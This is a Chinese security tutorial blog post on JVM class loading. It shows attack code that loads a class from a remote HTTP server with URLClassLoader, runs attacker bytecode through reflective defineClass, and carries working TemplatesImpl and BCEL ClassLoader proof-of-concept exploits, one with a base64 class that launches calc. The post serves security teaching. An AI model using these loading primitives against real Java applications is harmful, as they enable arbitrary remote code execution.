Java安全之类加载分析

admin 2023年8月12日18:28:42评论21 views字数 12406阅读41分21秒阅读模式

前言

Java类加载是Java虚拟机(JVM)将类的字节码文件加载到内存,并在运行时动态创建类的过程。类加载是Java语言的核心机制之一,对于理解Java程序的执行过程至关重要。本文将介绍Java类加载的过程、测试和分析,同时探讨ClassLoader的使用、URLClassLoader的任意类加载以及defineClass方法的应用。最后,还会探讨TemplatesImpl和BCEL ClassLoader加载字节码的情况。

声明:文章中涉及的内容可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

什么是类加载?

将类的字节码文件加载到内存中,并在运行时创建类的对象和执行类的方法的过程。

javac是用于将源码文件.java编译成对应的字节码文件.class,其过程大致为:

词法和语法分析----语义分析---中间代码生成---优化---生成目标代码

类加载过程

  1. 加载(Loading):加载是指将类的字节码文件从磁盘或网络读取到内存中的过程。当程序要使用某个类时,如果该类还没有被加载到内存中,JVM会通过类加载器查找并加载类的字节码文件。加载完成后,JVM会在内存中生成一个代表该类的Class对象。

  2. 验证(Verification):验证是确保加载的类的字节码符合Java语言规范和安全性要求的过程。验证阶段包括对字节码的结构检查、语义检查、字节码的数据流分析等。

  3. 准备(Preparation):准备是为类的静态变量分配内存并设置默认初始值的过程。在这个阶段,JVM为静态变量分配了内存空间,但还没有赋予初始值。

  4. 解析(Resolution):解析是将常量池中的符号引用转换为直接引用的过程。在解析阶段,符号引用(如类、方法、字段的符号名称)会被替换为直接引用(在内存中的具体地址或指针)。

  5. 初始化(Initialization):初始化是执行类构造器()的过程,包括静态变量赋值和静态代码块的执行。在这个阶段,JVM会按照程序中的顺序执行类的静态变量赋值和静态代码块。

  6. 使用(Usage):在初始化完成之后,就可以使用类了。使用包括创建类的实例、调用类的方法等操作。当程序需要使用某个类时,虚拟机会检查该类是否已经加载和初始化,如果没有,则会触发相应的加载和初始化操作。

  7. 卸载(Unloading):在特定情况下,类可能会被从内存中卸载,释放资源。当一个类或类的Class对象不再被引用,并且没有任何其他活跃的引用链指向该类时,JVM会判定该类是可卸载的。类的卸载由垃圾回收器负责,它会在适当的时间进行类的卸载操作,释放内存资源

Java安全之类加载分析

类加载测试

先写一个student类

package com.garck3h.ccChain3;

import java.io.Serializable;

/**
 * Created by IntelliJ IDEA.
 *
 * @Author: Garck3h
 * @Date: 2023/8/8
 * @Time: 23:17
 * Life is endless, and there is no end to it.
 **/

public class Student implements Serializable {

    public String name;
    private int age;

    public static int id;
    static {
        System.out.println("静态代码块");
    }

    public static void staticFunction(){
        System.out.println("静态方法");
    }
    {
        System.out.println("构造代码块");
    }
    public Student(){
        System.out.println("无参构造函数Student");
    }

    public Student(String name, int age) {
        System.out.println("有参构造函数Student");
        this.name = name;
        this.age = age;
    }

    @Override
    public String toString() {
        return "Student{" +
                "name='" + name + ''' +
                ", age=" + age +
                '}';
    }
    private void action(String act) {
        System.out.println(act);
    }
}

调用无参的构造方法 :new Student

Java安全之类加载分析

调用有参的构造方法 :new Student("张三",18);

Java安全之类加载分析

Student.staticFunction();

静态代码块
静态方法

Student.id = 18;

静态代码块

Class c = Student.class;


forName类加载分析

Class.forName("com.garck3h.classloader.Student");

Java安全之类加载分析

调用了静态代码块,也就是说进行了初始化的操作。我们跟进去看一下是怎么实现的,发现是调用了forName0

Java安全之类加载分析

继续跟进去看一下forName0Java安全之类加载分析

这上面还有一个完整版的重载的forname;name:要加载的类的全限类名;initialize:是否在加载类时执行类的静态初始化代码;loader:用于加载类的ClassLoader对象。

Java安全之类加载分析

我们调用一下这个重载的forname,我们在第二个参数里面设置了false,也就是不会进行初始化。

        ClassLoader clazz = ClassLoader.getSystemClassLoader();
        Class.forName("com.garck3h.classloader.Student",false,clazz);

Java安全之类加载分析

进行实例化;发现可以都加载了。也就是说,forname是可以手动选择是否进行初始化的,底层也是使用的ClassLoader。

        ClassLoader clazz = ClassLoader.getSystemClassLoader();
        Class<?> c = Class.forName("com.garck3h.classloader.Student",false,clazz);
        c.newInstance();

Java安全之类加载分析

研究ClassLoader

看一下我们之前获取到的系统当前的加载器的clazz,打印发现是Launcher里面的内置类:AppClassLoader

Java安全之类加载分析

此时需要引入Java的双亲委派模型:在这个模型中,每个类加载器都有一个父类加载器,当类加载器需要加载某个类时,它会首先委托给其父类加载器进行加载,只有在父类加载器无法加载该类时,才会由当前类加载器自己去加载。

在Java中,有三种主要的类加载器:

  1. 启动类加载器(Bootstrap Class Loader):负责加载Java核心类库,它是由C++实现的,是整个类加载器层次结构的顶层。
  2. 扩展类加载器(Extension Class Loader):用来加载Java的扩展类库,默认情况下加载JAVA_HOME/jre/lib/ext目录下的类库。
  3. 应用程序类加载器(Application Class Loader):也称为系统类加载器,负责加载应用程序的类,是开发者自定义的类加载器。它通常从CLASSPATH环境变量所指定的目录或JAR文件中加载类。

当需要加载一个类时,一般会按照以下顺序进行委派:

应用程序类加载器 -> 扩展类加载器 -> 启动类加载器

Java安全之类加载分析


Java安全之类加载分析


跟进到ClassLoader

Java安全之类加载分析

我们一直跟进(中间的忽略),发现跟到了ClassLoader的defineClass完成了类的加载Java安全之类加载分析

这部分已经是C语言写的底层了,实现的是将给定的字节码数组转换成一个类,并生成对应的Class对象。

Java安全之类加载分析

ctrl+h

Java安全之类加载分析

类加载机制总结

1、类加载与反序列化

类加载的时候会执行代码

初始化:静态代码块

实例化:构造代码块、无参构造函数

2、动态类加载方法

Class.forname

初始化/不初始化

ClassLoader.loadClass不进行初始化

底层的原理,实现加载任意的类

ClassLoader--SecureClassLoader--URLClassLoader--AppClassLoader

loadClass--findClass--defineClass(从字节码加载)

URLClassLoaer任意类加载

我们实现以下从url里面加载类进行实例化。

我们先创建一个弹计算器的类,然后Javac进行编译为class文件

public class Calc {
    public Calc(){
        try{
            Process pc = Runtime.getRuntime().exec("calc.exe");
            pc.waitFor();
        } catch(Exception e){
            e.printStackTrace();
        }
    }

    public static void main(String[] argv) {
        Calc e = new Calc();
    }
}

然后用python在编译好的目录起一个web

Java安全之类加载分析

实现的代码

        //URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("file:///D:\down\")});
        //RLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("jar:file:///D:\down\Calc.jar!/")});
        URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://192.168.1.7/")});
        Class<?> clazz = urlClassLoader.loadClass("Calc");
        clazz.newInstance();

Java安全之类加载分析

defineClass的使用

我们上面是跟到defineClass,然后在defineClass中直接实现了类加载。这里通过反射来调用它实现类加载。

        ClassLoader cl = ClassLoader.getSystemClassLoader();    //获取系统类加载器
        //获取defineClass方法的引用
        Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", String.class,byte[].classint.classint.class);
        defineClassMethod.setAccessible(true);  //设置访问权限为可访问
        byte[] code = Files.readAllBytes(Paths.get("D:\down\Calc.class"));  //读取字节码文件的内容,将其存储在code字节数组中
        Class clazz = (Class) defineClassMethod.invoke(cl, "Calc", code, 0, code.length);//传入类名Calc、字节码数组 code、长度
        clazz.newInstance();

Java安全之类加载分析

这里我们就实现了传入字节码byte实现加载字节流里面的类来进行实例化,在不出网,不能调用url的时候,可以通过发送字节流来实现执行任意代码。

不出网的时候,常用的两个方法:bcel、Templatesimpl;都是使用了defineClass动态加载类。

Java安全之类加载分析

我们发现ClassLoader里面的defineClass () 被调用时是没有进行初始化的,即使是写在静态代码块static的也不可以。需要使用newInstance来调用其构造方法进行实例化。

Java安全之类加载分析

使用newInstance即可调用构造函数来实例化

Java安全之类加载分析

这个问题需要怎么解决呢?下面我们就来说一下另外这两种方式的加载。

TemplatesImpl加载字节码

上面我们说了defineClass一般很难利用到,所以我们这里就来说一下TemplatesImpl。

在TemplatesImpl的 newTransformer是入口点

Java安全之类加载分析

跟进到getTransletInstance

Java安全之类加载分析

继续跟进defineTransletClasses,最终在414行里面调用了loader的defineClass

Java安全之类加载分析

我们跟进去看看;发现它没有声明其作用域,所以具有默认的包级访问权限。

Java安全之类加载分析

此时完整的利用链是:

TemplatesImpl
    #newTransformer()
TemplatesImpl
    #getTransletInstance()
TemplatesImpl
    #defineTransletClasses()
TemplatesImpl
    TransletClassLoader
        #defineClass()

我们来尝试满足它的条件把该链利用起来。当走进getTransletInstance;需要满足_name不能为空null;_class需要等于 null

Java安全之类加载分析

然后才可以进入到defineTransletClasses;紧接着是_bytecodes不能为空,

Java安全之类加载分析

然后就是再需要一个的TransformerFactoryImpl类型的_tfactory

Java安全之类加载分析

这些属性都是私有的,所以我们需要通过反射来修改。写一个方法,把修改属性的代码封装起来。只要传入对象、属性名称和要设置属性值即可。

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
    Field field = obj.getClass().getDeclaredField(fieldName);
    field.setAccessible(true);
    field.set(obj, value);
}

分别设置上述的四个属性的值

    public static void main(String[] args) throws Exception {
        byte[] codes = Base64.getDecoder().decode("base64编码后的字节码");
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_class",null);
        setFieldValue(templates,"_name","Calc");
        setFieldValue(templates,"_bytecodes",codes);
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
        templates.newTransformer();
    }

cmd生成base64字节码文件

certutil -encode "Calc.class" "Calc_base64.txt"

运行后发现报错了

Java安全之类加载分析

研究后发现,要求字节码必须是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 的子类

Java安全之类加载分析

下面我们创建个子类来生成字节码

package com.garck3h.classloader;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class ByteClass extends AbstractTranslet {
    public static void main(String[] args) throws IOException {
        ByteClass byteClass = new ByteClass();
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }
    public ByteClass() throws IOException {
        Runtime.getRuntime().exec("calc");
 }
}

最终的POC为

package com.garck3h.classloader;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.lang.reflect.Field;
import java.util.Base64;


public class TemplatesImplDFC {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        byte[] codes = Base64.getDecoder().decode("yv66vgAAADQAJAcAFgoAAQAXCgAHABcKABgAGQgAGgoAGAAbBwAcAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAKRXhjZXB0aW9ucwcAHQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgcAHgEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAY8aW5pdD4BAAMoKVYBAApTb3VyY2VGaWxlAQAOQnl0ZUNsYXNzLmphdmEBACFjb20vZ2FyY2szaC9jbGFzc2xvYWRlci9CeXRlQ2xhc3MMABIAEwcAHwwAIAAhAQAEY2FsYwwAIgAjAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEAAQAHAAAAAAAEAAkACAAJAAIACgAAACUAAgACAAAACbsAAVm3AAJMsQAAAAEACwAAAAoAAgAAAA0ACAAOAAwAAAAEAAEADQABAA4ADwACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAAEgAMAAAABAABABAAAQAOABEAAgAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAABcADAAAAAQAAQAQAAEAEgATAAIACgAAAC4AAgABAAAADiq3AAO4AAQSBbYABlexAAAAAQALAAAADgADAAAAGAAEABkADQAaAAwAAAAEAAEADQABABQAAAACABU");
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_class",null);
        setFieldValue(templates,"_name","xxx");
        setFieldValue(templates,"_bytecodes",new byte[][]{codes});
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
        templates.newTransformer();
    }
}

Java安全之类加载分析

BCEL ClassLoader加载字节码

BCEL 提供了一种方便的方式来操作字节码,使开发人员能够在运行时生成、修改和操作字节码,从而实现对 Java 类的动态修改和定制。它也是调用 defineClass 方法加载字节码,但需要注意的是在Java 8u251以后,该类被删除。

在ClassLoader.loadClass()中,检查该类名是否包含特殊字符串"$$BCEL$$",如果是的话,会调用 createClass 方法创建该类。

Java安全之类加载分析

我们跟进createClass;此方法会查找字符串"$$BCEL$$"来确定实际类名的起始位置;然后尝试解码实际类名,将其转换为字节数组,然后返回clazz

Java安全之类加载分析

紧接着就是判断如果clazz不为空,就调用defineClass来加载。

Java安全之类加载分析测试弹计算器:CalcTest.java

public class CalcTest {
    static {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (Exception e) {}
    }
}

test.java

package com.garck3h.classloader;


import java.io.IOException;
public class test {
    public test() throws IOException {
        Runtime.getRuntime().exec("calc");
        diaplay();
    }
    public static void diaplay(){
        System.out.println("hello world!");
    }
}

然后将CalcTest生成BCEL形式的字节码.

一般通过BCEL提供的两个类Repository 和Utility 来利用;可以通过Repository查找已加载的类、加载新的类、获取类的信息等操作;这里用于将一个Java  Class先转换成原生字节码。Utility类是BCEL提供的一个工具类,其中包含了各种用于处理字节码的实用方法。它提供了字节码转换、解码、编码、类型转换等功能;这里用于将原生的字节码转换成BCEL格式的字节码。

package com.garck3h.classloader;

import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;

import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;

public class BCELDFC {
    public static void main(String[] args) throws IOException, ClassNotFoundException, IllegalAccessException, InstantiationException {
        //方式一:
        JavaClass javaClass = Repository.lookupClass(test.class);
        String code1 = Utility.encode(javaClass.getBytes(), true);
        System.out.println(code1);
        new ClassLoader().loadClass("$$BCEL$$" + code1).newInstance();


        //方式二:
//        byte[] codebyte = Files.readAllBytes(Paths.get("D:\down\CalcTest.class"));
//        String code2 = Utility.encode(codebyte, true);
//        System.out.println(code2);
//        new ClassLoader().loadClass("$$BCEL$$" + code2).newInstance();
    }
}

方式一:(加载的恶意类需要同一个包,否则没法识别)

Java安全之类加载分析

方式二:

Java安全之类加载分析

总结

1.主要分析了类加载的时候,哪些代码块是初始化的。

2.分析了forname加载的过程,发现初始化是可控的,最终底层是调用了ClassLoader进行加载。

3.分析了ClassLoader,发现最底层是defineClass进行加载

4.使用URLClassLoaer进行任意类加载;通过反射使用defineClass

5.最后研究了两种利用方式

参考:

1.https://segmentfault.com/a/1190000023876273

2.https://www.bilibili.com/video/BV16h411z7o9?p=4

3.https://juejin.cn/post/6844903838927814669

4.https://blog.csdn.net/Thunderclap_/article/details/128901126


原文始发于微信公众号(pentest):Java安全之类加载分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年8月12日18:28:42
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Java安全之类加载分析http://cn-sec.com/archives/1952826.html

发表评论

匿名网友 填写信息